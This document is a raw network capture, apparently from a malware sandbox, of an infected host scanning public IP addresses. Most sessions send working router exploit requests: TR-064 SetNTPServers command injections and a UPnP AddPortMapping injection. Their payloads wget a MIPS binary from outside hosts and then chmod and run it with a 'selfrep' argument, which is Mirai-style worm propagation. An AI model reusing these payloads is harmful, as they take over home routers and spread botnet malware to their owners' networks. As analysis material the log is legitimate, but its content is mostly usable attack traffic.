Apr 15, 2024 08:53:19.712430954 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:56.576385021 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.13	35246	5.201.131.17	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:42.487401009 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:42.917428017 CEST	133	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 WWW-Authenticate: Digest realm="tr069", nonce="07280920", qop="auth", algorithm=MD5

Session ID	Source IP	Source Port	Destination IP	Destination Port
345	192.168.2.13	40698	139.39.192.129	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:42.662259102 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:43.680454969 CEST	928	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:43.839900970 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.13	43162	173.33.105.12	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:42.705328941 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
347	192.168.2.13	53342	99.234.28.251	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:42.734164953 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
348	192.168.2.13	43174	173.33.105.12	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:42.939941883 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
349	192.168.2.13	55902	123.207.242.110	23

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:42.962430000 CEST	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 35 20 31 34 3a 35 32 3a 34 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-15 14:52:40Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
350	192.168.2.13	53354	99.234.28.251	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:42.982995033 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.13	36190	181.132.218.129	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:42.992909908 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
352	192.168.2.13	36630	14.82.7.71	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:43.000263929 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
353	192.168.2.13	37572	14.87.222.8	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:43.007354021 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
354	192.168.2.13	58048	74.136.192.98	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:43.151823044 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:43.890099049 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:44.640481949 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
355	192.168.2.13	36202	181.132.218.129	7547

Timestamp	Bytes transferred	Direction	Data
